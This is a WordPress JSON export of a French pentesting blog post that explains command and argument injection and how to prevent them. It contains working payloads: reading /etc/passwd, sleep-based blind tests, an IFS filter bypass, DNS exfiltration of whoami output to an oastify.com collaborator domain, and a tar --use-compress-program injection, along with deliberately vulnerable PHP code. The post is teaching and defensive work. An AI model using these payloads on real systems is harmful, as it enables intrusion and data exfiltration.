{"id":10664,"date":"2024-09-13T11:28:45","date_gmt":"2024-09-13T09:28:45","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=10664"},"modified":"2024-09-13T11:28:49","modified_gmt":"2024-09-13T09:28:49","slug":"injections-de-commandes-exploitations-et-bonnes-pratiques-securite","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/injections-de-commandes-exploitations-et-bonnes-pratiques-securite\/","title":{"rendered":"Injections de commandes : exploitations et bonnes pratiques s\u00e9curit\u00e9\u00a0"},"content":{"rendered":"
\n
\"Injections<\/figure>\n<\/div>\n\n\n

Dans le domaine de la s\u00e9curit\u00e9 web, les injections de commandes figurent parmi les vuln\u00e9rabilit\u00e9s les plus critiques.  Elles se produisent lorsqu’un attaquant parvient \u00e0 ex\u00e9cuter des commandes syst\u00e8me arbitraires sur le serveur web. Ce type d’attaque peut entra\u00eener des fuites de donn\u00e9es sensibles, la corruption de donn\u00e9es ou le contr\u00f4le complet de l’environnement cible.<\/p>\n\n\n\n

Dans cet article, nous explorons les principes et m\u00e9thodes d\u2019exploitation des injections de commandes. Nous pr\u00e9sentons \u00e9galement les bonnes pratiques s\u00e9curit\u00e9 et les mesures \u00e0 impl\u00e9menter pour se prot\u00e9ger contre ces attaques.<\/p>\n\n\n\n\n\n\n\n

En quoi consiste une injection de commandes ?<\/h2>\n\n\n\n

Les injections de commandes surviennent lorsque les entr\u00e9es utilisateur ne sont pas correctement valid\u00e9es avant d’\u00eatre int\u00e9gr\u00e9es dans des fonctions qui ex\u00e9cutent des commandes syst\u00e8me. Si une application accepte des donn\u00e9es provenant d’utilisateurs sans les filtrer, un attaquant peut d\u00e9tourner la commande initiale et ex\u00e9cuter des commandes arbitraires.<\/p>\n\n\n\n

Pour contourner la commande pr\u00e9vue, il est possible d\u2019utiliser des caract\u00e8res sp\u00e9ciaux qui agissent comme des s\u00e9parateurs de commandes, permettant ainsi de sortir du contexte original et d\u2019ex\u00e9cuter d’autres commandes. Les principaux s\u00e9parateurs de commandes sur les syst\u00e8mes Windows et Unix incluent : &, &&, | ou ||.<\/p>\n\n\n\n

Sur les syst\u00e8mes Unix, il existe des s\u00e9parateurs suppl\u00e9mentaires qui permettent \u00e9galement de chainer des commandes.<\/p>\n\n\n\n

;\n0x0a ou \\n (caract\u00e8re du saut \u00e0 la ligne)\n`\n$()<\/code><\/pre>\n\n\n\n
Comment identifier et exploiter des injections de commandes ?<\/h2>\n\n\n\n
Pour d\u00e9tecter les vuln\u00e9rabilit\u00e9s li\u00e9es aux injections de commandes, plusieurs approches peuvent \u00eatre adopt\u00e9es.<\/p>\n\n\n\n
L’une d’elles consiste \u00e0 examiner le code source de l’application pour identifier les emplacements o\u00f9 des commandes syst\u00e8me sont ex\u00e9cut\u00e9es avec des entr\u00e9es utilisateur non valid\u00e9es.<\/p>\n\n\n\n
Une autre approche est l’utilisation de dictionnaires pr\u00e9\u00e9tablis de payloads pour d\u00e9tecter les vuln\u00e9rabilit\u00e9s. En envoyant ces payloads au serveur et en analysant les r\u00e9ponses, il est possible de d\u00e9terminer si le serveur est vuln\u00e9rable aux injections de commandes. <\/p>\n\n\n\n
C’est cette m\u00e9thode que nous allons explorer, en mettant l’accent sur les cas d\u2019exploitations les plus courants d’un point de vue boite noire<\/a>.<\/p>\n\n\n\n
Exploitation d\u2019une injection de commandes sur une application PHP<\/h3>\n\n\n\n
Prenons le cas d\u2019une application en PHP qui tourne sur un serveur linux et qui permet de retourner l\u2019adresse IP pour un nom de domaine donn\u00e9.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Ce qui peut souvent attirer l’attention d’un pentester, c’est l’utilisation de fonctionnalit\u00e9s sugg\u00e9rant l’ex\u00e9cution de commandes syst\u00e8me.<\/p>\n\n\n\n
Par exemple, on pourrait supposer que le backend utilise une fonction syst\u00e8me pour appeler un binaire natif comme dig<\/code>, permettant d’interroger des serveurs DNS.<\/p>\n\n\n\n
\u00c0 titre d’exemple simplifi\u00e9, on pourrait avoir un code ressemblant \u00e0 ceci :<\/p>\n\n\n\n
shell_exec(\"dig \".$_POST['domain']);<\/code><\/pre>\n\n\n\n
Dans ce contexte, il est possible d’ajouter des caract\u00e8res permettant de cha\u00eener plusieurs commandes syst\u00e8me. Par exemple, en ajoutant le caract\u00e8re \u00ab\u00a0;\u00a0\u00bb<\/strong> suivi de la commande cat \/etc\/passwd<\/code>, il devient possible d’afficher le contenu du fichier \u00ab\u00a0\/etc\/passwd\u00a0\u00bb.<\/p>\n\n\n\n
Ainsi, la commande ex\u00e9cut\u00e9e par le serveur sera la suivante :<\/p>\n\n\n\n
dig ;cat \/etc\/passwd<\/code><\/pre>\n\n\n\n
Le serveur nous r\u00e9pond avec une partie du contenu du fichier \u00ab\u00a0\/etc\/passwd\u00a0\u00bb ce qui confirme que le serveur est vuln\u00e9rable \u00e0 l\u2019injection de commande.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Injection de commande en aveugle (blind command injection)<\/h3>\n\n\n\n
Il peut arriver que le serveur ne renvoie pas le r\u00e9sultat des commandes dans sa r\u00e9ponse. Dans ce cas, plusieurs binaires natifs aux syst\u00e8mes d’exploitation peuvent \u00eatre utilis\u00e9s pour confirmer une injection de commande.<\/p>\n\n\n\n
Par exemple, le binaire \u00ab sleep \u00bb sous Linux ou \u00ab timeout \u00bb sous Windows permettent de suspendre temporairement l’activit\u00e9 du serveur. Ainsi, si un attaquant utilise ces commandes, le serveur mettra en pause l’ex\u00e9cution avant de renvoyer une r\u00e9ponse.<\/p>\n\n\n\n
Prenons l’exemple d’une fonctionnalit\u00e9 permettant de s’abonner \u00e0 une newsletter. Cette fonctionnalit\u00e9 ne renvoie qu’un message standard confirmant que l’utilisateur est bien inscrit.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Pour v\u00e9rifier si cette fonctionnalit\u00e9 est vuln\u00e9rable aux injections de commandes, nous utiliserons la commande sleep sous Linux, qui suspendra l’ex\u00e9cution du serveur pendant 5 secondes.<\/p>\n\n\n\n
Le payload utilis\u00e9 sera :<\/p>\n\n\n\n
;sleep 5<\/code><\/pre>\n\n\n\n
Comme le montre la capture suivante, le serveur a bien attendu plus de 5 secondes avant de r\u00e9pondre, ce qui confirme que le serveur est vuln\u00e9rable.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Contournement d\u2019un filtre<\/h3>\n\n\n\n
Les serveurs peuvent parfois utiliser des blacklists pour filtrer certains caract\u00e8res ou cha\u00eenes sp\u00e9cifiques, comme les espaces ou certaines commandes. Pour contourner une blacklist, on peut exploiter des caract\u00e8res alternatifs, utiliser des encodages diff\u00e9rents, ou tirer parti de variables sp\u00e9cifiques au syst\u00e8me.<\/p>\n\n\n\n
Dans notre exemple, le serveur supprime tous les espaces des entr\u00e9es utilisateur. \u00c0 premi\u00e8re vue, cela semble \u00eatre une solution efficace, car ce filtre limite consid\u00e9rablement l’exploitation des injections de commande aveugles. <\/p>\n\n\n\n
Cependant, il existe plusieurs techniques pour contourner ce type de filtre.<\/p>\n\n\n\n
L’une de ces astuces, sur les serveurs Linux, consiste \u00e0 utiliser la variable IFS (Internal Field Separator)<\/a>. Cette variable permet de d\u00e9finir un caract\u00e8re autre que l’espace comme s\u00e9parateur de champs. En modifiant cette variable, il est possible de remplacer les espaces, ce qui permet de contourner le filtre tout en maintenant la syntaxe correcte des commandes inject\u00e9es.<\/p>\n\n\n\n
Ainsi, au lieu d’utiliser la commande :<\/p>\n\n\n\n
;sleep 5<\/code><\/pre>\n\n\n\n
On pourra contourner le filtre en utilisant le payload suivant :<\/p>\n\n\n\n
;sleep{$IFS}5<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Injection de commande hors-bande (out-of-band)<\/h3>\n\n\n\n
Principes de la vuln\u00e9rabilit\u00e9<\/h4>\n\n\n\n
Il existe des cas o\u00f9 l\u2019entr\u00e9e utilisateur est trait\u00e9e dans des fonctions ex\u00e9cut\u00e9es de mani\u00e8re asynchrone. <\/p>\n\n\n\n
L’ex\u00e9cution asynchrone permet au serveur de continuer \u00e0 fonctionner sans interrompre le programme principal. En cons\u00e9quence, les commandes ex\u00e9cut\u00e9es de cette fa\u00e7on n’ont pas d’impact direct sur la r\u00e9ponse du serveur.<\/p>\n\n\n\n
Il devient donc impossible d’utiliser des commandes comme \u00ab\u00a0sleep\u00a0\u00bb et de se baser sur le temps de r\u00e9ponse du serveur afin de confirmer que le serveur est vuln\u00e9rable aux injections de commandes.<\/p>\n\n\n\n
C’est dans ces situations que les tests hors bande (out-of-band) deviennent utiles. Ce type de test consiste \u00e0 utiliser des protocoles tels que SMTP, HTTP ou DNS pour exfiltrer des donn\u00e9es vers un serveur contr\u00f4l\u00e9 par l’attaquant.<\/p>\n\n\n\n
Dans l’exemple suivant, nous montrerons une technique permettant d’exfiltrer des donn\u00e9es en utilisant la r\u00e9solution DNS.<\/p>\n\n\n\n
Exploitation avec exfiltration DNS<\/h4>\n\n\n\n
Il est possible d\u2019exfiltrer des informations en utilisant la substitution de commande. L\u2019id\u00e9e consiste \u00e0 inclure la sortie de la commande souhait\u00e9e comme sous-domaine d’un domaine contr\u00f4l\u00e9 par l’attaquant, puis \u00e0 d\u00e9clencher une requ\u00eate DNS vers ce serveur. Le serveur DNS autoritaire, g\u00e9r\u00e9 par l’attaquant, recevra cette requ\u00eate et capturera ainsi l’information contenue dans le sous-domaine.<\/p>\n\n\n\n
Le payload suivant permet de mettre en \u0153uvre cette technique :<\/p>\n\n\n\n
&nslookup $(whoami).2be49ebqfgnfrxyjeqammobl8ce32uqj.oastify.com&<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Dans cet exemple, le serveur DNS re\u00e7oit la requ\u00eate avec le r\u00e9sultat de la commande, qui, ici, est le nom de l’utilisateur courant \u00ab peter-hiHxI0<\/strong> \u00bb.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Injection d\u2019arguments<\/h3>\n\n\n\n
M\u00e9canismes de l\u2019injection d\u2019arguments<\/h4>\n\n\n\n
Lorsque l’entr\u00e9e utilisateur n’est plus concat\u00e9n\u00e9e mais pass\u00e9e en tant qu’argument aux fonctions, cela peut sembler s\u00fbr \u00e0 premi\u00e8re vue. Cependant, cela introduit un sous-type d’injection de commandes : l’injection d’arguments.<\/p>\n\n\n\n
L’injection d’arguments, consiste \u00e0 manipuler les arguments pass\u00e9s \u00e0 des commandes syst\u00e8me pour obtenir des comportements ind\u00e9sirables ou dangereux. En fonction du binaire utilis\u00e9 par l\u2019application, l\u2019impact peut r\u00e9sulter de la simple divulgation d\u2019informations \u00e0 l\u2019ex\u00e9cution de commande \u00e0 distance.<\/p>\n\n\n\n
Injection d’arguments dans une application PHP<\/h4>\n\n\n\n
Prenons l\u2019exemple d\u2019une application PHP qui utilise une entr\u00e9e utilisateur pour cr\u00e9er une archive.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
L\u2019application utilise le code suivant :<\/p>\n\n\n\n
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['file']) && is_array($_GET['file'])) {\n    $files_to_archive = [];\n\n    \/\/ Escaping each argument to avoid command injections\n    foreach ($_GET['file'] as $file) {\n        if (!empty($file)) { \n            $files_to_archive[] = escapeshellarg($file);\n        }\n    }\n\n    if (!empty($files_to_archive)) {\n        \/\/ Build tar command\n        $command = \"tar cf my.tar \" . implode(' ', $files_to_archive);\n\n        \/\/ Execute command\n        exec($command, $output, $return_var);\n}<\/code><\/pre>\n\n\n\n
Le code utilise la fonction escapeshellarg<\/code> pour passer plusieurs arguments \u00e0 la commande tar<\/code>, au lieu de concat\u00e9ner directement les entr\u00e9es utilisateurs dans la fonction exec<\/code>. Cela permet de s\u00e9curiser l’ex\u00e9cution de la commande en \u00e9chappant tous les caract\u00e8res sp\u00e9ciaux qui permettraient de faire de l\u2019injection de commande.<\/p>\n\n\n\n
Toutefois, l’utilisation de la commande tar<\/code> peut pr\u00e9senter des risques, notamment \u00e0 travers l\u2019argument \u00ab\u00a0use-compress-program\u00a0\u00bb. Cet argument permet initialement d\u2019\u00e9tendre les capacit\u00e9s de tar<\/code> en permettant l’utilisation de programmes de compression externes.<\/p>\n\n\n\n
Son utilisation peut \u00eatre d\u00e9tourn\u00e9e pour lancer des commandes syst\u00e8mes. <\/p>\n\n\n\n
Voici un exemple avec une commande qui permet d\u2019ex\u00e9cuter la commande sleep.<\/p>\n\n\n\n
tar --use-compress-program='sleep 5 ' -cf \/tmp\/passwd \/etc\/passwd<\/code><\/pre>\n\n\n\n
Dans le contexte de notre application web, cela nous donnerait le payload suivant :<\/p>\n\n\n\n
\/arg.php?file[]=x&file[]=--use-compress-program&file[]=sleep 5<\/code><\/pre>\n\n\n\n
Comme nous pouvons le voir dans la capture suivante, le serveur r\u00e9pond 5 secondes plus tard, ce qui nous permet de confirmer que l\u2019application est vuln\u00e9rable aux injections d\u2019arguments.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Comment pr\u00e9venir les attaques par injections de commandes ?<\/h2>\n\n\n\n
Se prot\u00e9ger contre les injections de commandes<\/h3>\n\n\n\n
Pour se prot\u00e9ger contre les attaques d’injection de commandes, il est essentiel de minimiser les risques en \u00e9vitant, autant que possible, de passer des entr\u00e9es utilisateur directement dans des fonctions syst\u00e8me.<\/p>\n\n\n\n
L’un des moyens les plus efficaces est de ne pas utiliser de fonctions syst\u00e8me lorsque cela n’est pas strictement n\u00e9cessaire. De nombreuses t\u00e2ches courantes peuvent \u00eatre accomplies \u00e0 l’aide de fonctions de haut niveau fournies par le langage de programmation utilis\u00e9. Ces fonctions sont con\u00e7ues pour \u00eatre s\u00e9curis\u00e9es et isol\u00e9es des risques inh\u00e9rents \u00e0 l’ex\u00e9cution directe de commandes shell.<\/p>\n\n\n\n
Par exemple, une mauvaise pratique serait d\u2019utiliser la fonction system()<\/code> pour cr\u00e9er un r\u00e9pertoire quand il existe la fonction mkdir()<\/code> en PHP.<\/p>\n\n\n\n
Dans les cas o\u00f9 l’utilisation de commandes syst\u00e8me est in\u00e9vitable, il est crucial de valider et d’assainir les entr\u00e9es utilisateur. Cela signifie que toute donn\u00e9e fournie par l’utilisateur doit \u00eatre valid\u00e9e contre une liste blanche qui d\u00e9finit strictement les caract\u00e8res et formats autoris\u00e9s.<\/p>\n\n\n\n
La validation par liste blanche consiste \u00e0 n’autoriser que les caract\u00e8res alphanum\u00e9riques (A-Z, a-z, 0-9) et de bien s\u2019assurer que les espaces ne sont pas autoris\u00e9s.<\/p>\n\n\n\n
Contrer les risques d\u2019injections d\u2019arguments<\/h3>\n\n\n\n
Pour corriger les injections d\u2019arguments, un correctif consiste \u00e0 utiliser le d\u00e9limiteur \u00ab\u00a0—\u00a0\u00bb pour indiquer la fin des options et forcer les arguments suivants \u00e0 \u00eatre interpr\u00e9t\u00e9s comme des op\u00e9randes<\/p>\n\n\n\n
Ainsi la commande suivante ne pourra plus permettre \u00e0 un utilisateur d\u2019ajouter des arguments arbitraires. <\/p>\n\n\n\n
touch -- $user_input<\/code><\/pre>\n\n\n\n
Lorsque vous travaillez avec des programmes qui ne g\u00e8rent pas la fin des options comme zip<\/strong>, la mani\u00e8re la plus s\u00fbre de proc\u00e9der est de pr\u00e9fixer tout chemin contr\u00f4l\u00e9 par l’utilisateur par \u00ab\u00a0.\/\u00a0\u00bb ou \u00ab\u00a0\/.\u00a0\u00bb<\/p>\n\n\n\n
Auteur : Yacine DJABER – Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"
Dans le domaine de la s\u00e9curit\u00e9 web, les injections de commandes figurent parmi les vuln\u00e9rabilit\u00e9s les plus critiques.  Elles se produisent lorsqu’un attaquant parvient \u00e0 ex\u00e9cuter des commandes syst\u00e8me arbitraires sur le serveur web. Ce type d’attaque peut entra\u00eener des fuites de donn\u00e9es sensibles, la corruption de donn\u00e9es ou le contr\u00f4le complet de l’environnement cible.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":{"0":"post-10664","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technique"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/10664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=10664"}],"version-history":[{"count":10,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/10664\/revisions"}],"predecessor-version":[{"id":10700,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/10664\/revisions\/10700"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=10664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=10664"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=10664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}